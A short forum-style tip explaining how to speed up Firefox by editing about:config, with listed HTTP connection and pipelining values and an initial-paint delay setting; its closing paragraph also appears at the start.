One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re broadband - it shouldn’t have to wait.
Now you should notice you’re loading pages MUCH faster now!
Yes, firefox is already pretty damn fast but did you know that you can tweak it and improve the speed even more?
That's the beauty of this program being open source.
Here's what you do:
In the URL bar, type “about:config” and press enter. This will bring up the configuration “menu” where you can change the parameters of Firefox.
Note that these are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we’re going to open up with pipelining… lol… you’d better have a big connection.
Double Click on the following settins and put in the numbers below - for the true / false booleans - they’ll change when you double click.
Code:
browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300
One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re broadband - it shouldn’t have to wait.
Now you should notice you’re loading pages MUCH faster now!
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